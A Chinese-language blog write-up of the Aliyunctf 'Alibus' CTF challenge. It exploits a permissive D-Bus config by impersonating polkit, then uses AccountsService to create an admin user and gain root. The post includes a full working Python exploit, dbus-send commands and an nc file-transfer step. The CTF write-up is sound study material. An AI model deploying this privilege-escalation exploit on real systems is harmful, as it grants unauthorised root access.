[2024.03.28] Aliyunctf Alibus 复现
解题思路
nc pwn5.aliyunctf.com 1337查看 Hint
服务的配置文件位于容器 /etc/dbus-1/system.d/alibus.conf
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<auth>ANONYMOUS</auth>
<allow_anonymous/>
<policy context="default">
<allow own="*"/>
<allow own_prefix="org.zbus"/>
<allow send_destination="*"/>
<allow send_type="method_call"/>
</policy>
</busconfig>D-Bus 是一个为进程间通信提供简单方法的消息总线系统。
阅读 Freedesktop 提供的文档 :
Rules with theownorown_prefixattribute are checked when a connection attempts to own a well-known bus names. As a special case,own="*"matches any well-known bus name. The well-known session bus normally allows any connection to own any name, while the well-known system bus normally does not allow any connection to own any name, except where allowed by further configuration.
配置文件中 own_prefix="org.zbus" 被 own="*" 覆盖掉了
又因为配置文件允许 ANONYMOUS 认证,所以任何用户都可以向 dbus daemon 注册任意名称的接口。这将构成一个安全漏洞。
查看容器中可以被调用的 dbus 接口名:
$ busctl
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.0 20 alibus root :1.0 - - -
:1.1 58 busctl www-data :1.1 - - -
org.freedesktop.Accounts - - - (activatable) - - -
org.freedesktop.DBus 18 n/a root - - - -
org.freedesktop.PolicyKit1 - - - (activatable) - - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 - - - (activatable) - - -
org.freedesktop.network1 - - - (activatable) - - -
org.freedesktop.resolve1 - - - (activatable) - - -
org.freedesktop.systemd1 - - - (activatable) - - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 - - - (activatable) - - -
org.zbus.MyService 20 alibus root :1.0 - - -(activatable) 表示该接口当前没有被注册,但是被调用时会自动激活
其中 org.freedesktop.Accounts 是 account-daemon 提供的一个管理系统用户的接口,提供了一些可以操作系统用户的方法,比如添加用户、修改密码等。当执行添加用户等敏感操作时, account-daemon 向 polkit 服务提供的 org.freedesktop.PolicyKit1 接口询问鉴权。
通常情况下,当你在系统设置中设置一些敏感项目,会看到以下需要输入密码的对话框:
这就是 polkit 服务在通知桌面询问管理员的授权。管理员认证成功后 org.freedesktop.PolicyKit1 接口返回认证成功的消息。
由于该题目中任何用户都可以向 dbus daemon 注册任意名称的接口,且 org.freedesktop.PolicyKit1 当前没有被注册,我们可以起一个自己的进程注册 org.freedesktop.PolicyKit1 ,并在收到鉴权请求时都返回鉴权成功的消息。接着使用 org.freedesktop.Accounts 新建一个管理员用户,使用管理员用户提权并读取 flag。
查看容器中运行的进程,容器中带有 sudo:
$ ps -A
PID TTY TIME CMD
1 ? 00:00:00 timeout
7 ? 00:00:00 sh
8 ? 00:00:00 start.sh
19 ? 00:00:00 dbus-daemon
20 ? 00:00:00 alibus
21 ? 00:00:00 sudo
57 ? 00:00:00 sh
63 ? 00:00:00 ps本地环境搭建
为了方便地编写和调试 PoC,我们可以在本地起一个环境。
读取容器中的 /etc/os-release 得知容器基于 Ubuntu 22.04 LTS 搭建的。
下载镜像 ubuntu-22.04.4-live-server-amd64.iso 并安装至虚拟机中,使用 SSH 登录。
镜像系统默认不包含 AccountService ,需要手动安装:
sudo apt install accountsservice 安装后可使用 busctl 命令查看到 org.freedesktop.Accounts 接口
ubuntu-server:~$ busctl
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.0 1 systemd root :1.0 init.scope - -
:1.1 6793 systemd-logind root :1.1 systemd-logind.service - -
:1.2 6798 busctl user :1.2 session-71.scope 71 -
com.ubuntu.SoftwareProperties - - - (activatable) - - -
fi.w1.wpa_supplicant1 - - - (activatable) - - -
io.netplan.Netplan - - - (activatable) - - -
org.freedesktop.Accounts - - - (activatable) - - -
org.freedesktop.Avahi - - - (activatable) - - -
org.freedesktop.DBus 1 systemd root - init.scope - -
org.freedesktop.ModemManager1 - - - (activatable) - - -
org.freedesktop.PackageKit - - - (activatable) - - -
org.freedesktop.PolicyKit1 - - - (activatable) - - -
org.freedesktop.UDisks2 - - - (activatable) - - -
org.freedesktop.UPower - - - (activatable) - - -
org.freedesktop.bolt - - - (activatable) - - -
org.freedesktop.fwupd - - - (activatable) - - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 6793 systemd-logind root :1.1 systemd-logind.service - -
org.freedesktop.network1 - - - (activatable) - - -
org.freedesktop.nm_dispatcher - - - (activatable) - - -
org.freedesktop.nm_priv_helper - - - (activatable) - - -
org.freedesktop.resolve1 - - - (activatable) - - -
org.freedesktop.systemd1 1 systemd root :1.0 init.scope - -
org.freedesktop.thermald - - - (activatable) - - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 - - - (activatable) - - - 此时 org.freedesktop.Accounts 接口与 org.freedesktop.PolicyKit1 接口的连接状态都应为 (activatable) ,如果服务已经在运行,可以使用 sudo systemctl restart dbus 命令强制重启 dbus。
将包含安全漏洞的 alibus.conf 放入 /etc/dbus-1/system.d/ 目录下,重启 dbus。
我使用 Python 编写并打包 Poc,为此还需安装 pydbus 、pyinstaller 等 Python 库。
查看接口调用
在本地搭建的环境中使用 root 用户执行以下命令监控系统中的 dbus 通信:
ubuntu-server:~# busctl monitor 同时新开一个终端,使用 root 账户调用 org.freedesktop.Accounts 接口注册账户,
参数 1 string 类型,为系统用户名
参数 2 string 类型,为 real name
参数 3 int 类型,0 表示普通账户,1 表示管理员账户
更多信息可参考 https://cgit.freedesktop.org/accountsservice/tree/data/org.freedesktop.Accounts.xml
注册一个名为 hiiragi 的管理员账户:
ubuntu-server:~# dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hiiragi string:hiiragiyuriko int32:1 返回监控 dbus 通信的终端,发现 AccountService 调用 org.freedesktop.PolicyKit1.Authority 接口的 CheckAuthorization 方法进行鉴权。
......
‣ Type=method_call Endian=l Flags=0 Version=1 Cookie=20 Timestamp="Thu 2024-03-28 10:39:25.572418 UTC"
Sender=:1.9 Destination=:1.10 Path=/org/freedesktop/PolicyKit1/Authority Interface=org.freedesktop.PolicyKit1.Authority Member=CheckAuthorization
UniqueName=:1.9
MESSAGE "(sa{sv})sa{ss}us" {
STRUCT "sa{sv}" {
STRING "system-bus-name";
ARRAY "{sv}" {
DICT_ENTRY "sv" {
STRING "name";
VARIANT "s" {
STRING ":1.11";
};
};
};
};
STRING "org.freedesktop.accounts.user-administration";
ARRAY "{ss}" {
};
UINT32 0;
STRING "";
};
...... 查询 org.freedesktop.PolicyKit1.Authority 接口的 文档
CheckAuthorization (IN Subject subject,
IN String action_id,
IN Dict<String,String> details,
IN CheckAuthorizationFlags flags,
IN String cancellation_id,
OUT AuthorizationResult result) 其中 AuthorizationResult 结构体的定义为
{
Boolean is_authorized,
Boolean is_challenge,
Dict<String,String> details
} 当返回 {True, False, ""} 时,表示鉴权成功。
编写 Poc
根据 pydbus 提供的文档和示例,编写 poc.py 实现一个总是返回鉴权成功的鉴权接口:
from pydbus import SystemBus
from gi.repository import GLib
import _thread
import time
loop = GLib.MainLoop()
class Authority(object):
dbus = '''
<node>
<interface name="org.freedesktop.PolicyKit1.Authority">
<method name="CheckAuthorization">
<arg name="subject" direction="in" type="(sa{sv})">
</arg>
<arg name="action_id" direction="in" type="s">
</arg>
<arg name="details" direction="in" type="a{ss}">
</arg>
<arg name="flags" direction="in" type="u">
</arg>
<arg name="cancellation_id" direction="in" type="s">
</arg>
<arg name="result" direction="out" type="(bba{ss})">
</arg>
</method>
</interface>
</node>
'''
def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
return [True, False, ""]
def myPolkit():
with SystemBus() as bus:
with bus.publish("org.freedesktop.PolicyKit1", ("Authority", Authority())):
loop.run()
_thread.start_new_thread(myPolkit, ())
time.sleep(9999) 由于上一步测试注册账户时激活了系统自带的 polkit ,导致脚本运行时会出现
RuntimeError: name already exists on the bus 所以需要重启虚拟机中的 dbus,使 org.freedesktop.PolicyKit1 返回 (activatable) 状态(也是题目容器中的状态):
ubuntu-server:~$ sudo systemctl restart dbus此时使用普通用户运行脚本:
ubuntu-server:~$ python3 poc.py 新开一个普通用户终端,向 org.freedesktop.Accounts 接口发送新建管理员用户请求:
ubuntu-server:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:another_hiiragi string:hiiragiyuriko int32:1返回:
method return time=1711624151.187000 sender=:1.3 -> destination=:1.5 serial=51 reply_serial=2
object path "/org/freedesktop/Accounts/User1003"成功注册了一个 UID 为 1003 的管理员账户。
为了登入该账户并提权,还需对账户设置密码。
使用密码 mikusaikou 生成一段密码哈希:
ubuntu-server:~$ openssl passwd -5 mikusaikou
$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62 向 org.freedesktop.Accounts 接口发送修改用户密码的请求:
ubuntu-server:~$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1003 org.freedesktop.Accounts.User.SetPassword string:'$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62' string:'password hint' 此时用户管理服务同样调用 org.freedesktop.PolicyKit1.Authority 接口进行鉴权,由于鉴权接口总是返回鉴权成功,用户密码被成功修改。
查看系统 /etc/passwd 验证用户被注册:
......
another_hiiragi:x:1003:1003:hiiragiyuriko,,,:/home/another_hiiragi:/bin/bash 查看 /etc/shadow 验证密码被修改:
......
another_hiiragi:$5$EK4tWmJ2nfPIyZqI$ltIznqS.wwLsJbppLasscVmoUOPL2Zo3D9kbiXb8V62:19810:0:99999:7::: 使用用户 another_hiiragi 提权:
user@ubuntu-server:~$ su another_hiiragi
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
another_hiiragi@ubuntu-server:/home/user$ sudo -i
[sudo] password for another_hiiragi:
root@ubuntu-server:~# whoami
root至此,编写完整的 poc.exp 实现注册自己的鉴权接口、调用用户管理接口注册管理员账户并设置密码:
from pydbus import SystemBus
from gi.repository import GLib
import _thread
import time
loop = GLib.MainLoop()
class Authority(object):
dbus = '''
<node>
<interface name="org.freedesktop.PolicyKit1.Authority">
<method name="CheckAuthorization">
<arg name="subject" direction="in" type="(sa{sv})">
</arg>
<arg name="action_id" direction="in" type="s">
</arg>
<arg name="details" direction="in" type="a{ss}">
</arg>
<arg name="flags" direction="in" type="u">
</arg>
<arg name="cancellation_id" direction="in" type="s">
</arg>
<arg name="result" direction="out" type="(bba{ss})">
</arg>
</method>
</interface>
</node>
'''
def CheckAuthorization(self, subject, action_id, details, flags, cancellation_id):
return [True, False, ""]
def myPolkit():
with SystemBus() as bus:
with bus.publish("org.freedesktop.PolicyKit1", ("Authority", Authority())):
loop.run()
_thread.start_new_thread(myPolkit, ())
# wait for dbus publish
time.sleep(2)
#get the system bus
bus_client = SystemBus()
#get account manager object
account_manager = bus_client.get("org.freedesktop.Accounts")
#call CreateUser() and print the result
#result is object path of the new user
user_path = account_manager.CreateUser("hiiragi", "hiiragiyuriko", 1)
print(user_path)
#set user password
account_manager = bus_client.get("org.freedesktop.Accounts", user_path)
#openssl passwd -5 mikusaikou
reply = account_manager.SetPassword('$5$2d6aRfWgJgeE9AjB$uyLmo2Hq1t5Dld.rqoCBV7T557Ebd1zNZn7eY4ISGK.', 'password hint')
print(reply)测试运行:
ubuntu-server:~$ python3 poc.py
/org/freedesktop/Accounts/User1002
None使用 pyinstaller 打包 PoC:
ubuntu-server:~$ pyinstaller -F poc.py打包后的可执行二进制程序位于 dist/poc
查看依赖:
ubuntu-server:~$ ldd dist/poc
linux-vdso.so.1 (0x00007fff0e739000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa4dc316000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fa4dc2fa000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa4dc2f5000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa4dc0cc000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa4dc323000)由于题目容器也是基于 Ubuntu 22.04 制作的,打包后的可执行程序可以在题目容器中运行。
获取 Flag
找一台连接质量尚可的带有公网 IP 的 VPS,将打包后的 poc 上传至 VPS 中。
题目容器可以访问公网,但是没有 wget、curl 等命令,只有 nc。我们可以使用 nc 将 poc 传输至题目容器。
在 VPS 端监听 3428 端口:
➜ ~ nc -lvvp 3428 <./poc
Listening on any address 3428 (twcss) 在题目容器连接 VPS 端口并将文件保存至 /tmp/poc :( 其中 [redacted] 为 VPS 公网 IP)
$ nc [redacted] 3428 > /tmp/poc传输过程中不会显示进度,需要估算传输时间并耐心等待。此时不要操作 VPS 端,否则可能造成接收的文件损坏。
等待一段时间后,在 VPS 端按下 Ctrl + C 停止 nc 进程,然后返回题目容器按下 Enter 退出 nc 返回 shell 命令行。
PoC 完整性可以使用 md5sum 命令进行校验 。
确保传输无误后给 PoC 添加可执行权限并执行,成功注册了一个 UID 为 1000 的管理员账户:
$ chmod +x /tmp/poc
$ /tmp/poc
/org/freedesktop/Accounts/User1000
None切换到该账户,使用 sudo 提权:
成功获取到 Flag.
本文链接:https://blog.hiirachan.moe/archives/473.html
This blog is under a CC BY-NC-SA 3.0 Unported License
本站不提供任何可用于侵入、非法控制计算机信息系统的程序、工具
亦不提供非法定信道进行国际联网


